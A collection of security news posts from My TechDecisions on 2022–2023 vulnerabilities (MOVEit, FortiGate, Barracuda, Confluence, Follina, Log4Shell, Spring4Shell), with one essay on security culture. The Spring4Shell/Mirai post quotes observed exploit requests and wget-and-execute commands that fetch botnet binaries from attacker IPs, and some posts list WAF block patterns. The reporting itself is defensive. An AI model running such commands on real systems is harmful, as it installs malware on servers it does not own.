The company’s update comes amid reports of widespread exploitation, including several at several U.S. agencies that were breached as part of the attack. Cybersecurity researchers say ransomware groups have seized upon the vulnerability and are using it to exfiltrate data to compel victim organizations to pay the ransom.

In the advisory, dated June 16, Progress says it has discovered vulnerability in MOVEit Transfer that could lead to escalated privileges and potential unauthorized access to the environment.

“If you are a MOVEit Transfer customer, it is extremely important that you take immediate action as noted below in order to help protect your MOVEit Transfer environment,” the company says in the new advisory. “In Progress MOVEit Transfer versions released before 2021.0.8 (13.0.8), 2021.1.6 (13.1.6), 2022.0.6 (14.0.6), 2022.1.7 (14.1.7), 2023.0.3 (15.0.3), a SQL injection vulnerability has been identified in the MOVEit Transfer web application that could allow an un-authenticated attacker to gain unauthorized access to the MOVEit Transfer database. An attacker could submit a crafted payload to a MOVEit Transfer application endpoint which could result in modification and disclosure of MOVEit database content.”

The incident, which was first identified in late May, now stretches well into June as organizations rush to patch their systems and protect their environment.

According to Progress Software, “All MOVEit Transfer customers must take action and apply the patch to address the June 15th CVE-2023-35708 vulnerability discovered in MOVEit Transfer. “

However, organizations have two paths to take, depending on if they applied the remediation and patching steps from the first MOVEit Transfer Critical Vulnerability (May 2023) advisory prior to June 15.

For those who have not yet applied the May 2023 patch, they should do so and follow the remediation steps immediately, the company says. This includes the newest patch for two separate vulnerabilities, including the original from May 31 (CVE-2023-34362) and another identified on June 9 (CVE-2023-35036).

Once that is taken care of, organizations should apply the June 15 patch (CVE-2023-35708).

If organizations have applied the May 31 and June 9 patch, they should now apply the June 15 patch, which will bring them fully up to date.

There is a lot of information coming out about these bugs, but cybersecurity firm Rapid7 has a detailed timeline of events, up until this new information.

May 27-28: Rapid7 services teams have so far confirmed indicators of compromise and data exfiltration dating back to at least May 27 and May 28, 2023 (respectively).

May 31: Progress Software publishes an advisory on a critical SQL injection vulnerability in their MOVEit Transfer solution.

May 31: Rapid7 begins investigating exploitation of MOVEit Transfer.

June 1: Rapid7 publishes initial analysis of MOVEit Transfer attacks after responding to incidents across multiple customer environments.

June 1: The security community publishes technical details and indicators of compromise.

June 1: Compromises continue; Rapid7 responds to alerts.

June 1: CISA publishes Security Advisory.

June 2: CVE-2023-34362is assigned to the zero-day vulnerability.

June 2: Mandiant attributes the attack to a threat cluster with unknown motives.

June 2: Velociraptor releases an artifact to detect exploitation of MOVEit File Transfer critical vulnerability.

June 4: Rapid7 publishes a method to identify which data was stolen.

June 4: Nova Scotian government discloses it is investigating privacy breach.

June 5: Microsoft attributes the attack to Lace Tempest, a Cl0p ransomware affiliate that has previously exploited vulnerabilities in other file transfer solutions (e.g., Accellion FTA, Fortra GoAnywhere MFT).

June 5: UK companies BA, BBC, and Boots disclose breaches as victims in MOVEit File Transfer.

June 5: Cl0p ransomware group claims responsibility for the zero-day attack.

June 6: Security firm Huntress releases a video allegedly reproducing the exploit chain.

June 6: The Cl0p ransomware group posts a communication on their leak site demanding that victim organizations contact them by June 14 to negotiate extortion fees in exchange for the deletion of stolen data.

June 7: CISA publishes #StopRansomware Cybersecurity Advisory regarding MOVEit File Transfer Vulnerability CVE-2023-34362.

June 9: Progress Software updates advisory to include a patch for a second MOVEit Transfer Vulnerability, which was uncovered by Huntress during a third-party code review. The vulnerability is later assigned CVE-2023-35036.

June 12: Rapid7 releases a full exploit chain for MOVEit Transfer Vulnerability CVE-2023-34362.

Organizations impacted should consult Progress Software, their cybersecurity services provider, and CISA for more information.

The post Progress Software Urges Further Action to Prevent MOVEit Exploitation appeared first on My TechDecisions.

The vulnerability–tracked as CVE-2023-27997–is a heap-based overflow flaw that could allow a remote attacker to execute arbitrary code or commands via specially crafted requests, says the Sunnyvale, Calif.-based firewall and endpoint security firm.

According to Fortinet, its Product Security Incident Response Team, following a previous incident from January also impacting FortiOS SSL VPN with exploitation, initiated a code audit of the SSL-VPN module, leading to the identification of issues that have been remediated in the company’s patch.

The investigation found that CVE-2023-27997 “may have been exploited in a limited number of cases.”

In the company’s blog, Fortinet says the attacks mimic the activity of Volt Typhoon, a suspected China-sponsored hacking group that has been targeting critical infrastructure organization. However, Fortinet doesn’t go as far to link exploitation of the vulnerability to that group, but does expect Volt Typhoon and other threat actors to leverage the bug in unpatched software and devices.

FortiGate devices were identified by the U.S. National Security Agency as being targeted by Volt Typhoon as an initial intrusion vector.

Organizations should apply the patch immediately. If they aren’t able to do so, disabling SSL-VPN is a legitimate workaround, the company says.

These devices and other SSL VPN products from Citrix, Pulse Secure and others have been popular targets in recent years, says Satnam Narang, senior staff research engineer at vulnerability management firm Tenable.

According to Narang, these flaws have not only been exploited by ransomware groups but also by nation-state aligned threat actors with a particular focus on flaws in Fortinet devices.

“SSL-VPNs are attractive targets due to their internet-facing nature, providing access to a company’s intranet,” Narang says. “They became even more popular at the beginning of the pandemic, as organization’s shifted towards allowing for remote work.”

Narang adds that pre-authentication bugs like CVE-2023-27997 are especially valuable to remote attackers because they don’t need to have valid credentials.

“Despite patches being available, the inherent value of the flaw remains significant, considering the ongoing success threat actors achieve by exploiting known, unpatched vulnerabilities,” Narang says. “It’s not a question of ‘if’, but rather ‘when’ a public proof-of-concept exploit for this flaw is made public, that we can expect more widespread scanning and exploitation of vulnerable assets.”

The post Patch FortiGate SSL-VPN Devices Immediately appeared first on My TechDecisions.

Barracuda Networks is urging organizations with Email Security Gateway appliances impacted by a remote command injection bug in the devices to replace them, even if they were patched.

The company’s recommendation comes after Barracuda was first alerted to anomalous traffic coming from Email Security Gateway (ESG) appliances on May 18, which prompted the company to begin an investigation with the help of cybersecurity firm Mandiant.

This week, Barracuda updated its notice, urging customers with impacted ESG appliances to replace them regardless of their patch version level.

“Barracuda’s remediation recommendation at this time is full replacement of the impacted ESG,” the company says in its advisory.

According to the advisory, Barracuda identified a remote command injection vulnerability in their ESG appliance one day after discovering the “anomalous traffic” and engaging Mandiant. A patch was released a day after that on May 20, but the patch is apparently not enough to prevent compromise of the affected devices.

The company is also releasing a “series of security patches” to all appliances.

Exploitation for 10 months

Alarmingly, Barracuda and other cybersecurity firms say exploitation of these ESG appliances has been discovered to date back to fall 2022, specifically October 2022.

According to Barracuda, the vulnerability existed in a module which initially screens attachments of incoming emails. The bug has been leveraged to obtain unauthorized access to a subset of ESG appliances, and malware was identified on a subset of appliances to give attackers a backdoor.

Evidence of data exfiltration was also identified, the company says.

The company notified users with impacted appliances to take action, but “additional customers may be identified in the course of the investigation,” the firm says.

About the vulnerability and malware

According to Barracuda, the vulnerability, CVE-2023-2868, stems from “incomplete input validation of user supplied .tar files as it pertains to the names of files contained within the archive.”

This allows a remote attacker to format file names in a particular manner that would result in “remotely executing a system command through Perl’s qx operator with the privileges of the Email Security Gateway product,” the company says.

Barracuda also identified three malware strains that make the backdoor possible.

Recommendations

Barracuda is recommending that organizations with ESG appliances ensure that the devices are receiving and applying updates and security patches, but the company is of course also recommending that organizations discontinue the use of compromised ESG appliances and contact the company’s support to obtain a new ESG virtual or hardware appliances.

In addition, organizations should rotate any applicable credentials connected to the ESG appliance, including:

• Any connected LDAP/AD
• Barracuda Cloud Control
• FTP Server
• SMB
• Any private TLS certificates

Organizations should also review their network logs for any of the indicators of compromise listed in Barracuda’s advisory. They should contact compliance@barracuda.com if any are identified, the firm says.

Barracuda’s official statement

The company’s official statement reads as such:

The latest information related to the Barracuda’s Email Security Gateway (ESG) vulnerability and incident has been published on Barracuda’s Trust Center (https://www.barracuda.com/company/legal). The product CVE is published here: https://nvd.nist.gov/vuln/detail/CVE-2023-2868. 

An ESG product vulnerability allowed a threat actor to gain access to and install malware on a small subset of ESG appliances. On May 20, 2023, Barracuda deployed a patch to ESG appliances to remediate the vulnerability. 

Not all ESG appliances were compromised, and no other Barracuda product, including our SaaS email solutions, were impacted by this vulnerability.

As of June 8, 2023, approximately 5% of active ESG appliances worldwide have shown any evidence of known indicators of compromise due to the vulnerability. Despite deployment of additional patches based on known IOCs, we continue to see evidence of ongoing malware activity on a subset of the compromised appliances. Therefore, we would like customers to replace any compromised appliance with a new unaffected device.

We have notified customers impacted by this incident. If an ESG appliance is displaying a notification in the User Interface, the ESG appliance had indicators of compromise. If no notification is displayed, we have no reason to believe that the appliance has been compromised at this time. Again, only a subset of ESG appliances were impacted by this incident.  

Barracuda’s guidance remains consistent for customers. Out of an abundance of caution and in furtherance of our containment strategy, we recommend impacted customers replace their compromised appliance. If a customer received the User Interface notification or has been contacted by a Barracuda Technical Support Representative, the customer should contact support@barracuda.com to replace the ESG appliance. Barracuda is providing the replacement product to impacted customer at no cost. 

If you have questions on the vulnerability or incident, please contact compliance@barracuda.com. Please note that our investigation is ongoing, and we are only sharing verified information. 

Barracuda has engaged and continues to work closely with Mandiant, leading global cyber security experts, in this ongoing investigation. 

We will provide updates as we have more information to share.

The post Barracuda: Replace Compromised ESG Appliances Immediately appeared first on My TechDecisions.

The vulnerability, CVE-2022-3075, is described as an insufficient data validation flaw in Mojo, a collection of runtime libraries that Google says provides “a platform-agnostic abstraction of common IPC primitives, a message IDL format, and a bindings library with code generation for multiple target languages to facilitate convenient message passing across arbitrary inter- and intra-process boundaries.”

The bug was reported on Aug. 30, and the update (105.0.5195.102) was released on Sept. 2.

Few other details about the vulnerability are available, but Google says it is “aware of reports that an exploit for CVE-2022-3075 exists in the wild.”

The company says it is restricting access to further information about the vulnerability until a majority of users update and fix the flaw.

“We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven’t yet fixed,” the company says.

This is the sixth zero-day security bug in Chrome that Google has addressed this year. According to cybersecurity firm Malwarebytes, the others were:

• CVE-2022-0609, a Use-after-Free (UAF) vulnerability, which was patched in February
• CVE-2022-1096, a “Type Confusion in V8” vulnerability, which was patched in March
• CVE-2022-1364, a flaw in the V8 JavaScript engine, which was patched in April
• CVE-2022-2294, a flaw in the Web Real-Time Communications (WebRTC), which was patched in July
• CVE-2022-2856, an insufficient input validation flaw, which was patched in August

Admins should make sure that all users update their browser, especially if users are not in the habit of closing Chrome, as it updates automatically upon relaunch.

The post Google: Update Chrome Now To Fix Zero Day Bug appeared first on My TechDecisions.

Too many security professionals today are so deep into the technology that they don’t pay enough attention to the people and processes. I used to be one of them. But technology can’t secure technology. That’s a lesson I learned the hard way when I started working with public utilities.

Prior to that, I’d been working for government agencies where all we had to focus on was operations. The utility industry was for profit, and so it also had a business side, where systems were being digitized. At the time I started, the operational side was all analog.

When the operational side started to be digitized, they committed the cardinal sin of connecting their operational technology to their business networks to make their regulatory reporting more efficient. Someone was able to make their way into the operational technology, which is typically not very sophisticated, and began to encrypt the systems that were running it and shut down a gas pipeline. It was quite terrifying.

Related: FireEye: OT, Control System Attacks Increasing

If they had consulted a security engineer like me, we would have put some safeguards in place before connecting the systems. There’s little technological difference between the Windows 10 used in enterprise and the Windows 10 that the U.S. Air Force uses. The only difference is people and process. That’s when I realized that in the digital world, everybody in the organization has a role in security.

As a security leader, you need to partner with the people closest to the box, educate them and empower them to protect the box. That is why the first step in building a culture of information security is always to put your sneakers on, walk around and get to know the people. Here’s who to meet, what to talk about and how to build those partnerships:

• Build relationships with the technology owners. Understand their roles and processes, and how they’re using the technology to support them. Respect their specialized expertise, and they will come to respect yours.
• Find people that will champion the cause. When you see things that are being done in a safe and secure manner, find out who’s behind those things. Get to know their mindset and approach and start working closely with them.
• Find your naysayers. In most organizations, there are people who have had bad experiences with information security professionals acting as the “no police.” Understand their position, and what kind of conversations you need to have to be able to work together.
• Meet everybody who comes into the organization. Hold regular group and individual security training as part of the onboarding process. This allows you to get an understanding of people’s exposure to security and compliance. For example, somebody who’s been exposed to HIPAA probably has the right mindset, even if they’re joining a new industry.
• Get to know your infosec team members. Explain your position, your approach and your successes. Often, they’ve come from an embattled culture of infosec vs. everybody else. If you can’t even fathom what a collaborative infosec culture looks like, it’s hard to help create one.
• Become a consultant. Like me, many infosec professionals come out of government, where if people don’t follow policy, there are penalties. In the enterprise, you can no longer rely on that authoritarian stance toward policy. You have to call out the vulnerability, explain the risk, and offer potential solutions. Then you say, “What are your thoughts?”
• Stay in your swim lane. Many security professionals see a vulnerability and they say, “you’ve got to fix it.” If it doesn’t get fixed, they can’t let it go. They don’t realize they don’t get to make those decisions. There are always business risks outside of information systems that have to be weighed and balanced when deciding how to allocate budget and resources. Our job is to educate, inform and remediate, if the organization wants us to. Stay in your lane and you’ll stay sane.

As a security professional, it’s very rewarding to fix a vulnerability or thwart an attack. It’s a big part of why we get into the profession in the first place. But we have to realize that we can’t secure anything within the organization on our own.

Real security comes through a groundswell of collaborative effort. It’s more rewarding when the lights come on and people start to understand that they have an active role in the security effort. Attending the annual security training, updating your passwords and not clicking on suspicious emails is just the beginning.

Those are broad-based technical vulnerabilities. But everybody has a role that’s dependent on their role within the company. If you’re in AP, for example, you need to be up on the latest business email compromise scams, and have processes in place to spot and defeat them. If you’re working with external vendors, you need to be aware of your organization’s requirements for how they handle your information.

Our job is to break down the us/them barrier, and build those partnerships, because security is a “we” thing. Early in my career, I unwittingly created resistance to security by focusing on rules and technology. Once I changed my approach, most of the barriers I had been encountering disappeared.

Bugs and vulnerabilities can be fixed, but information security never ends. People, processes, and technology are always changing. We get updates to technology on a monthly basis. Processes are always being evaluated for efficiency and maturity. If you educate and empower the people, the processes can change. The technology can change, but the mindset stays. And that’s how you build a culture of cybersecurity.
div class=”author-promo”>

Tony Carothers is the Security Systems Engineer at Corpay, a FLEETCOR company. He has over thirty years of experience in information security, working in both the public and private sectors.

The post How to Win at Cybersecurity: Become a “Sneaker” CISO appeared first on My TechDecisions.

The U.S. Cybersecurity and Infrastructure Agency (CISA), along with the U.S. Coast Guard Cyber Command (CGCYBER), say malicious actors include nation-state sponsored groups that are leveraging the bug to obtain initial access and implant loader malware on compromised systems with embedded executables to enable remote command and control (C2).

In one example, the agencies say hackers were able to move laterally inside the network and gain access to a disaster recovery network in addition to collecting and stealing sensitive data.

VMware released patches in December 2021, so organizations that have yet to patch those systems should do so immediately, agencies warn.

CISA and CGCYBER detail two such attacks leveraging Log4Shell, including one that used Log4Shell to deploy a Windows loader. The loader was used to elevate privileges and deploy additional payloads for a range of C2 capabilities, including keystroke logging, additional payloads and a graphical user interface access over a target Windows system’s desktop.

According to the agencies’ advisory, the malware can also function as a C2 tunneling proxy to allow a remote operator to pivot to other systems and move deeper into a network.

In another case from this spring, CISA says it observed bi-directional traffic between the victim and the suspected threat actor’s IP address, but confirmed that multiple groups had compromised the victim.

An unpatched VMware Horizon server is thought to be the entry point, giving the hackers the ability to leverage PowerShell and move laterally via Remote Desktop Protocol (RDP) to other hosts in the production environment, including a security management server, a database containing sensitive law enforcement data and a mail relay server.

In addition, the malicious group used RDP to move laterally to the victim’s disaster recovery network, per the advisory.

The actors used compromised admin accounts to run similar loader malware with embedded executables to provide remote C2 capabilities, including the ability to remotely monitor a desktop, gain reverse shell access, exfiltrate data and upload additional payloads.

CISA recommends immediately patching systems and removing vulnerable components from the internet until they are fully patched. VMWare also provided vendor-approved workarounds for organizations that can’t immediately apply updates.

CISA also urges organizations to execute VMWare’s script to ensure no vulnerabilities remain.

For more information, including indicators of compromise, read the advisory.

The post Log4Shell Exploitation Continues, Agencies Warn appeared first on My TechDecisions.

Security researchers say a new critical zero-day vulnerability in all supported versions of Atlassian Confluence is being actively exploited to deploy webshells, and admins are being urged to apply workarounds until a patch is released.

The vulnerability, tracked as CVE-2022-26134, is a remote code execution bug that affects Confluence, Confluence Server and Confluence Data Center, according to the company’s security advisory.

Atlassian says all supported versions of those products are affected, and select fixed versions are  available. See a list of fixed versions of Atlassian’s Confluence here.

Atlassian recommends upgrading to the latest long term support release. The latest version is available from Atlassian’s download centre.

If your organization is unable to upgrade Confluence immediately, there is a temporary workaround by updating the following files for the specific version of the product:

For Confluence 7.0.0 – Confluence 7.14.2

If you run Confluence in a cluster, you will need to repeat this process on each node. You don’t need to shut down the whole cluster to apply this mitigation.

1. Shut down Confluence.
2. Download the following 3 files to the Confluence server:
   • xwork-1.0.3-atlassian-10.jar
   • webwork-2.1.5-atlassian-4.jar
   • CachedConfigurationProvider.class
3. Delete (or move the following JARs outside of the Confluence install directory):

   <confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3.6.jar
   <confluence-install>/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar

    Do not leave a copy of the old JARs in the directory.

4. Copy the downloaded xwork-1.0.3-atlassian-10.jar into <confluence-install>/confluence/WEB-INF/lib/

5. Copy the downloaded webwork-2.1.5-atlassian-4.jar into <confluence-install>/confluence/WEB-INF/lib/

6. Check the permissions and ownership on both new files matches the existing files in the same directory.
7. Change to directory <confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup

   1. Create a new directory called webwork
   2. Copy CachedConfigurationProvider.class into <confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
   3. Ensure the permissions and ownership are correct for:

      <confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork

      <confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork/CachedConfigurationProvider.class

8. Start Confluence.

Remember, If you run Confluence in a cluster, make sure you apply the above update on all of your nodes.

Note: Confluence End Of Life versions are not fully tested with the workaround.

We strongly recommend upgrading to a fixed version of Confluence as there are several other security fixes included in the fixed versions of Confluence.

The company recommends restricting access to Confluence Sever and Data Center instances from the internet or disabling those instances altogether.

Admins can also implement a web application firewall rule to block URLs containing ${ to reduce risk.

The security advisory comes as cybersecurity firm Volexity published a detailed blog of the exploit it discovered over Memorial Day weekend involving two internet-facing web servers running Confluence Server software.

Suspicious activity included JSP webshells being written to disk after an attacker exploited CVE-2022-26134 to achieve remote code execution. Volexity recreated the exploit and identified the zero-day bug impacting fully up-to-date Confluence Server versions.

According to Volexity, the JSP file written into a publicly accessible web directory was a “well-known copy of the JSP variant of the China Chopper webshell … which appears to have been written as a means of secondary access.”

The firm also discovered bash shells being launched by the Confluence web application process.  “This stood out because it had spawned a bash process which spawned a Python process that in turn spawned a bash shell,” the firm’s security researchers write.

Successful exploitation of CVE-2022-26134 essentially gives attackers the ability to execute commands as if they were directly logged into the system, and attackers with access to the shell would have full control over the Confluence Sever, Volexity researchers say.

The exploit is similar to other RCE bugs, as it is a command injection vulnerability that allows for full control of a vulnerable system without credentials as long as web request can be made to the Confluence Server system.

“Volexity believes the attacker launched a single exploit attempt at each of the Confluence Server systems, which in turn loaded a malicious class file in memory. This allowed the attacker to effectively have a webshell they could interact with through subsequent requests,” researchers say. “The benefit of such an attack allowed the attacker to not have to continuously re-exploit the server and to execute commands without writing a backdoor file to disk.”

After successful exploitation of CVE-2022-26134, attackers deploy an in-memory copy of the BEHINDER implant, a popular web server implant with source code available eon GitHub that provides “very powerful capabilities to attackers, including memory-only webshells and built-in support for interaction with Meterpreter and Cobalt Strike,” Volexity researchers say.

“Once BEHINDER was deployed, the attacker used the in-memory webshell to deploy two additional webshells to disk: CHINA CHOPPER and a custom file upload shell,” according to researchers.

For more information, including indicators of compromise, read Volexity’s blog and Atlassian’s advisory.

The post Take Action Now: Critical Zero Day Discovered in Atlassian Confluence appeared first on My TechDecisions.

According to Microsoft, attackers who successfully exploit the bug, tracked as CVE-2022-30190, can run arbitrary code with the privileges of the calling application, and install programs, view change or delete data, or create new accounts in the context allowed by the user’s rights.

The bug is being exploited in the wild, security researchers say, and Microsoft confirms. The vulnerability appears to affect all supported versions of Windows.

Microsoft has yet to release a patch, so admins should apply recommended workarounds quickly now that the bug is public. The company recommends disabling the MSDT URL Protocol  to prevent troubleshooters from being launched as links including links throughout the operating system, but troubleshooters can still be accessed using the Get Help application and in system settings.

Per Microsoft, this is how to do so:

1. Run Command Prompt as Administrator.
2. To back up the registry key, execute the command “reg export HKEY_CLASSES_ROOT\ms-msdt filename“
3. Execute the command “reg delete HKEY_CLASSES_ROOT\ms-msdt /f”.

How to undo the workaround

1. Run Command Promptas Administrator.
2. To back up the registry key, execute the command “reg import filename”

In addition, Microsoft says Protected View or Application Guard for Office can both prevent the attack if the calling application is a Microsoft Office application.

In addition, customers with Microsoft Defender Antivirus should turn on cloud-delivered protection and automatic sample submission to identity and stop new and unknown threats, Microsoft says.

Microsoft Defender Antivirus provides detections and protections for possible vulnerability exploitation under the following signatures using detection build 1.367.719.0 or newer:

• Trojan:Win32/Mesdetty.A
• Trojan:Win32/Mesdetty.B
• Behavior:Win32/MesdettyLaunch.A
• Behavior:Win32/MesdettyLaunch.B
• Behavior:Win32/MesdettyLaunch.C

Microsoft Defender for Endpoint provides customers detections and alerts. The following alert title in the Microsoft 365 Defender portal can indicate threat activity on your network:

• Suspicious behavior by an Office application
• Suspicious behavior by Msdt.exe

Microsoft Defender for Endpoint customers can also enable attack surface reduction rule “BlockOfficeCreateProcessRule” to blocks Office apps from creating child processes.

The post Microsoft, Researchers Warn Of New Office Security Bug Being Exploited appeared first on My TechDecisions.

In a research report detailing the exploits, Tokyo-based cybersecurity firm Trend Micro says it has observed the exploitation since the start of this month after the remote code execution bug (CVE-2022-22965) in the Spring Framework was disclosed.

According to Trend Micro, the bug allows threat actors to download the Mirai saimple to the “/tmp” folder and execute them after permissions change using “chmod”.

 The exploitation requests and commands decoded are as follows:

• http://{victim IP}:9090/tomcatwar[.]jsp?pwd=j&cmd=cd%20/tmp;%20wget%20http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNNx86;chmod%20777%20*;./KKveTTgaAAsecNNaaaa.x86%20mSpring[.]x86
• cd /tmp; wget http://45[.]95[.]169[.]143/The420smokeplace.dns/KKveTTgaAAsecNNaaaa.x86;chmod 777 *;./KKveTTgaAAsecNNaaaa.x86 mSpring[.]x86
• http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNNaaaa.x86

While samples had been observed since the start of this month, Trend Micro says it has also found the malware file server with other variants for different CPU architectures.

The script “wget.sh” downloads the binaries from the malicious server and executes all the samples, the company says. Only compatible samples run, and the files are removed from the disk after execution, Trend Micro says.

Santa Clara, Calif.-based cybersecurity firm Palo Alto Network also observed Mirai activity related to the Spring4Shell bug, saying this is the only malicious activity it has seen in its telemetry.

Palo Alto says this involves HTTP requests to URLs containing the tomcatwar.jsp filename associated with the proof-of-concept script.

The activity involved parameters issued to the webshell that would run a command to download and execute a script from a remote server as seen in the following:

[redacted IPV4 address]:8080/tomcatwar.jsp?pwd=j&cmd=/bin/sh/-c${IFS}’cd${IFS}/tmp;wget${IFS}hxxp://107.174.133[.]167/t.sh${IFS}-O-%a6sh${IFS}SpringCore;’

This t.sh script hosted on the server is delated to the Mirai botnet, with requests coming from an IP address, 194.31.98[.]186, which has hosted payloads associated with the botnet as well.

Palo Alto says it blocked the initial attempt to exploit the vulnerability, so it cannot confirm if Mirai’s attempts to exploit Spring4Shell have been successful.

To prevent malicious actors from leveraging this bug to deploy the Mirai botnet, Trend Micro advises the following;

• Apply patches and update Spring Framework to versions 5.3.18+ and 5.2.20+, and update Spring Boot to versions 2.6.6+ and2.5.12+.

While patches are being deployed, organizations can mitigate those risks by:

• Maintaining a disallow or blocklist in web application firewall to block strings that contain values, including “class.*”, “Class.*”, “*.class.*”, and “*.Class.*”
• Downgrading to a lower JDK version such as version 8 might help. However, this may impact application features and open doors to other attacks mitigated in higher versions of JDK.

The post Spring4Shell Being Exploited To Spread Mirai Botnet appeared first on My TechDecisions.

While exploit attempts have not yet been widespread, there is a simmering concern that this bug could be nearly as impactful as the Log4j 2 vulnerabilities since the Spring Framework is the most used lightweight open-source framework for Java.

Based on public blog posts and analysis, here is what we know so far.

What is Spring4Shell?

Spring4Shell, tracked as CVE-2022-22965, is a remote code execution (RCE) vulnerability in the Spring Framework for Java that impacts Spring MVC and Spring WebFlux applications running on Java Development Kit 9.0 or later.

According to Microsoft, the bug allows remote attackers to obtain an AccessLogValve object through the frameworks’ parameter binding feature and use malicious field values to trigger the pipeline mechanism and write to a file in an arbitrary path if certain conditions are met.

The vulnerability in Spring Core can be exploited when an attacker sends a specially crafted query to a web server running the Spring Core framework, the IT giant says.

According to Spring, the bug was leaked ahead of CVE publication and was first reported to VMware late on March 29.

VMware says the bug bypasses a patch for a 2010 bug that causes it to be exploitable again because JDK 9 and later provide two sandbox restriction methods that provide a path to exploit the bug (CVE-2010-16220).

Who is impacted?

According to multiple sources, the vulnerability requires these traits:

• Running on JDK 9 or higher
• Apache Tomcat as the Servlet container
• Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and earlier versions
• Packaged as a traditional Java web archive (WAR) and deployed in a standalone Tomcat instance; typical Spring Boot deployments using an embedded Servlet container or reactive web server are not impacted
• Tomcat has spring-webmvcor spring-webflux dependencies

Is Spring4Shell being actively exploited?

So far, the IT and cybersecurity communities are not reporting widespread exploitation of Spring4Shell. Microsoft says it has been tracking a “low volume” of exploit attempts across its cloud services.

How do we mitigate Spring4Shell?

Patches have been released, and by upgrading to Spring Framework 5.3.18 and 5.2.20, the bug will be fixed.

There are also workarounds for Spring4Shell, which include upgrading Tomcat, downgrading to Java 8 or by disabling binding to particular fields by setting disallowedFields on WebDataBinder globally.

Read this Spring blog to learn more about patches and workarounds.

VMware released its own advisory for the bug, giving it a CVSS score of 9.8 and saying 10 Tanzu products are vulnerable to the exploit, including different versions of VMware Tanzu Application Service for VMs, VMware Tanzu Operations Manager and VMware Tanzu Kubernetes Grid Integrated Edition.

As of Tuesday, April 5, patches for seven of those products have been released.

Read VMware’s advisory for more information on patching and workarounds.

What products are vulnerable?

In addition to VMware, Cisco, NetApp, Red Hat and others are affected, according to the CERT Coordination Center. The NCSC-NL also compiled a list of products and their vulnerability status on GitHub.

What about CVE CVE-2022-22963?

CVE-2022-22963 is a remote code execution flaw in Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions. A user providing a specially crafted SPEL as a routing expression could result in remote code execution and access to local resources, according to VMware.

To fix this, users should upgrade to  3.1.7 or 3.2.3.

There was confusion between this bug and Spring4Shell, but it is unrelated. However, users should still patch this immediately.

Where can I learn more?

Microsoft published a detailed blog on Spring4Shell, including how the exploit works and a proof of concept.

CISA issued this alert, which links to Spring blog posts that provide guidance for addressing both vulnerabilities as well as VMware’s Tanzu bug report.

The post What We Know So Far About Spring4Shell appeared first on My TechDecisions.